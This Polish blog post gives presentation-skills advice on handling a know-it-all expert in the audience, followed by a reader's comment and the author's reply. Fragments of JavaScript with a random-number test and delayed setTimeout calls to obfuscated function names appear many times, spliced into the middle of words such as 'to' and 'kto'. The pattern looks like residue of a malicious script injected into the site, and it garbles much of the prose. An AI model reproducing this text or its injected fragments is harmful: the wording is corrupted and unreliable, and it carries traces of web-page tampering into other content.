Dziś zajmiemy się sytuacją, gdy na Twojej prezentacji pojawi się ekspert, lub osoba uważająca się za eksperta, która będzie Ci udowadniać, że wie więcej od Ciebie. Dla wielu mówców/prezenterów, szczególnie tych mniej doświadczonych, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to koszmar! Jak się zachować, gdy ON (ekspert) zacznie wtrącać się do prezentacji i udowadniać mi, że nie mam racji? Uciekać, czy walczyć?
O tym już za chwilę na filmie, który… “wykopałem” z moich archiwów w panelu audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torskim You Tube. Wgrałem go na YT dokładnie 3 lata temu! 8 maja 2012 roku a nagrałem na… wycieczce rowerowej 😉
Teraz pomyślałem, że dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to całkiem dobry pomysł aby w trakcie weekendu zaproponować Ci spędzenie niespełna siedmiu minut w Borach Tucholskich. W tle usłyszysz nawet nawoływania ptaków!
Z tym przyciskiem odtwarzania na oku wyglądam jak jakiś pirat 😉
Transkrypcja nagrania (taka nieco skrócona) dla Czytelników nie będących Widzami.
Sytuacja pierwsza. Wiesz, że na Twoją prezentację przyjdzie ekspert. Nie wiesz jak się on zachowa, ale w głowie tworzysz już sobie czarne scenariusze. Mam rację? Ha ha! To przestań martwić się na zapas i zrób dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, co podpowiada Ci rozsądek czyli, jeśli dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to możliwe, skontaktuj się z ekspertem i… poproś go o pomoc w przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towaniu prezentacji albo niech Ci chociaż skonsultuje jakiś jej fragment.
Jeśli nie będzie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to możliwe, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wdrażaj plan minimum: pożycz od niego książkę, jakieś materiały, umów się na krótką rozmowę. W ten sposób, nawet jeśli dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, co będziesz mówić na prezentacji nie do końca będzie zgodny z punktem widzenia eksperta, on z pewnością potraktuje Cię łagodniej właśnie ze względu na fakt, że mieliście ze sobą już wcześniej kontakt.
A jeśli na początku swojego wystąpienia powiesz, że w przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towaniu prezentacji “pomógł” Ci ten ekspert, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to masz gościa spacyfikowanego! No, tak na 90 procent 😉
Sytuacja druga. Nie wiesz, że na Twojej prezentacji pojawi się ekspert albo mówiąc inaczej, z obecnych na sali wyłoni się osoba, która będzie chciała zająć pozycję lidera, udowadniając Tobie, uczestnikom i… sobie, że wie więcej od Ciebie albo jej zdanie jest ważniejsze od Twojego. Co masz zrobić? Na pewno postępuj bardzo delikatnie. Nie możesz wejść w otwarty konflikt z tą osobą, z drugiej strony nie możesz dopuścić aby przejęła inicjatywę.
Daj takiej osobie do zrozumienia, że jej zachowanie jest niewłaściwe i prowadź dalej wystąpienie. przynajmniej w pierwszej fazie “starcia” grupa będzie za Tobą, bo przecież ludzie nie będą chcieli aby ta prezentacja przedłużała się w nieskończoność, przerywana uwagami “eksperta”. Ale uważaj! Może uruchomić się następujący mechanizm: część grupy będzie bardzo ciekawa jak ten “konflikt” się zakończy, jeśli nie będziesz sobie dawać rady z samozwańczym liderem.
Jak sobie zatem poradzić?
Tacy samozwańczy eksperci są najczęściej osobami, które mają nadmiar energii a Ty jako lider z nadania musisz te energię “zagospodarować”. Poproś o dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to aby “coś” zrobili: podeszli do Ciebie, pokazali coś na tablicy, omawianym eksponacie, slajdzie itd. Włącz ich do swojej prezentacji i uczyń swoimi sojusznikami, takimi “współprowadzącymi”. Doceń dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, co mówią. Odwołaj się w kilku miejscach do ich wcześniejszych wypowiedzi, o ile oczywiście miały one sens. To da im satysfakcję. Za każdym razem daj jednak wyraźnie do zrozumienia, kdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tu rządzi.
Dzięki tym działaniom ludzie w sali będą postrzegać Cię jako osobę otwartą, skorą do współpracy, nie unikającą innych, czasami przeciwstawnych opinii i nie bojącą się oddać na chwilę głosu innym uczestnikom prezentacji.
Koniecznie daj znać jak sobie poradziłaś/łeś w takiej sytuacji!
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Kilkukrotnie miałam okazję przemawiać na kongresach/ sympozjach i niestety raz zdarzył mi się Pan Profesor z poczuciem misji i może niecelowym ośmieszeniem mnie… było ciężko.
A co jeśli ekspert głośno się z nami nie zgadza, podaje jakieś badania, które są w sprzeczności z głoszonymi przez nas tezami, albo nawet tego nie robi i kwituje krótkim: “co za brednie!” albo przejmuje pałeczkę i zaczyna swoją tyradę.
A jego monologu słucha 200 osób… jak wyjść z twarzą i nie zostać “skreślonym” przez słuchaczy?
Patrycjo,
mimo mało komfortowej sytuacji nie brałbym tego “do siebie” osobiście. To po pierwsze. Nerwy są złym doradcą. Po drugie, nie szedłbym na konfrontację z samozwańczym ekspertem, przynajmniej na początku. Nie wiem jak zachowała się wtedy publiczność, bo takie przerywanie, nawet przez profesora, jest po prostu niekulturalne i ludzie to na pewno zauważyli, nawet jeśli nikt nie zareagował. On sam swoim zachowaniem wystawił sobie cenzurkę.
Jeśli już jednak doszło do takiej sytuacji to:
1. gdy profesor podaje wyniki badań zawsze możemy odpowiedzieć ‘ja powołuję się na badania x,y,z” oczywiście jeśli takimi wynikami dysponujemy. Słowo przeciwko słowu.
2. gdy mówi “co za brednie” to jak bym tylko popatrzył znacząco, współczująco itp na gościa i nic nie powiedział. Uwierz mi, ludzie nie są głupi i widzą chamskie zachowanie tego człowieka.
3. jeśli zaczyna swoją tyradę to grzecznie lecz stanowczo przywołałbym go do porządku słowami: “Bardzo panu dziękuję za cenne opinie ale chciałbym kontynuować/mam nadzieję, że pozwoli mi Pan kontynuować”. wtedy odradzam spoglądanie w jego stronę bo to nie ułatwi Ci wystąpienia 😉
4. gdyby wszystkie metody zawiodły rzuciłbym pytanie do audytorium: “czy chcą państwo abym w takiej atmosferze kontynuowała prezentację?”
To tak na gorąco z mojego doświadczenia. Każda sytuacja jest inna i raczej trudno liczyć na “gotowce”.